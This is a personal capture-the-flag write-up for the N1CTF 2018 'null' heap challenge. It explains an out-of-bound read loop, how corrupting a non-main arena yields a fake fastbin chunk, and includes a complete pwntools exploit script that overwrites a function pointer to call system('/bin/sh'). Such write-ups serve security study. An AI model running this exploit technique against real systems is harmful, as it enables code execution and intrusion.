Introduction
Working in the wrong direction means going far away. After reading the write-up in [1], I think this is not a difficult challenge. During the contest, I was hesitating between House of Orange and House of Mind. After reaching dead end in both solutions, I hope to seek some hints from the title of the challenge. Therefore I turn to this post [2], seeking some possible hints in file stream on /dev/null. But the result shows that I think too much on that and I should start from the easier ones.
I need to record what I think during the contest and set a reminder for myself.
Vulnerability Analysis
The vulnerability exists in the function fun_400BCA. It will read from the user input multiple rounds until the received bytes exceeds the chunk_size. But the vulnerability is that the size used for reading in each round is chunk_size itself.
It means that the if it reads chunk_size-1 bytes in the first round, it can still read chunk_size in the next round, which is a clear out-of-bound write.
Exploit Plan
The exploit comes from a piece of code in arena.c as below:
#define heap_for_ptr(ptr) \ ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) #define arena_for_chunk(ptr) \ (chunk_main_arena (ptr) ? &main_arena : heap_for_ptr (ptr)->ar_ptr)
Take an allocated chunk in the exploit as below:
//Allocated chunk 0x7fa7d7ffbfd0: 0x0000000000000000 0x0000000000003d15 0x7fa7d7ffbfe0: 0x0000000000000000 0x0000000000000000 0x7fa7d7ffbff0: 0x0000000000000000 0x0000000000000000 0x7fa7d7ffc000: 0x0000000000000000 0x0000000000000000 //non_main_arena 0x7fa7d8000000: 0x00007fa7d8000020 0x0000000000000000 0x7fa7d8000010: 0x0000000003ffd000 0x0000000003ffd000 0x7fa7d8000020: 0x0000000300000000 0x0000000000000000 0x7fa7d8000030: 0x0000000000000000 0x0000000000000000 0x7fa7d8000040: 0x0000000000000000 0x0000000000000000 0x7fa7d8000050: 0x0000000000000000 0x0000000000000000 0x7fa7d8000060: 0x0000000000000000 0x0000000000000000 0x7fa7d8000070: 0x0000000000000000 0x00007fa7d7fffce0 0x7fa7d8000080: 0x0000000000000000 0x00007fa7d8000078 0x7fa7d8000090: 0x00007fa7d8000078 0x00007fa7d8000088
The non_main_arena bit of the allocated chunk is set. Therefore, we can locate the address of arena in memory at 0x7fa7d8000000. The next step is to corrupt the arena and create a crafted fastbin chunk in main arena and overwrite the function pointer at 0x602038 and get shell.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 23333); elif(DEBUG == 1): r = process("./null"); elif(DEBUG == 2): r = process("./null"); gdb.attach(r, '''source script'''); def login(): r.recvuntil("password:"); r.sendline("i'm ready for challenge"); def binid(): r.recvuntil("Action:"); r.sendline("1337") def useService(size, pad): log.info("Sendling size:0x%x" % size); r.recvuntil("Action:"); r.sendline("1"); r.recvuntil("Size:"); r.sendline(str(size)); r.recvuntil("Pad blocks:"); r.sendline(str(pad)); r.recvuntil("(0/1): "); r.sendline(str(0)); log.info("Finish sending"); def exit(): r.recvuntil("Action:"); r.sendline("2"); def exploit(): login(); for i in range(0, 12): useService(0x4000, 1000); useService(0x4000, 261); system = 0x400978; r.recvuntil("Action:"); r.sendline("1"); r.recvuntil("Size:"); r.sendline(str(0x3d00)); r.recvuntil("Pad blocks:"); r.sendline(str(0)); r.recvuntil("(0/1): "); r.sendline(str(1)); r.recvuntil('Input: '); payload = "A"*(0x3d00 - 1); r.send(payload); payload = 0x341* "B" payload += p32(0) + p32(0) + p64(0) * 5 + p64(0x602025 - 8); payload = payload.ljust(0x600, 'C') r.sendline(payload); log.info("Finish sending packets"); r.recvuntil("Action:"); r.sendline("1"); r.recvuntil("Size:"); r.sendline(str(0x60)); r.recvuntil("Pad blocks:"); r.sendline(str(0)); r.recvuntil("(0/1): "); r.sendline(str(1)); r.recvuntil('Input: '); payload = "/bin/sh"; payload = payload.ljust(11, '\x00'); payload += p32(system); payload = payload.ljust(0x60, '\x00'); r.send(payload); log.info("Trigger"); r.interactive(); exploit();
Conclusion
During the contest, I take too much tome in House of Orange. Later I turn to House of Mind to seek if I need to exploit the non_main_arena in the heap. But I was puzzled and hesitated on if I should give up House of Orange. Though non_main_arena comes into my mind, but misses to seek all possibilities on non_main_arena. Hope this can be a good lesson for my self.
Reference
[1] https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/pwn/null/x.py
[2] http://atum.li/2017/11/08/babyfs/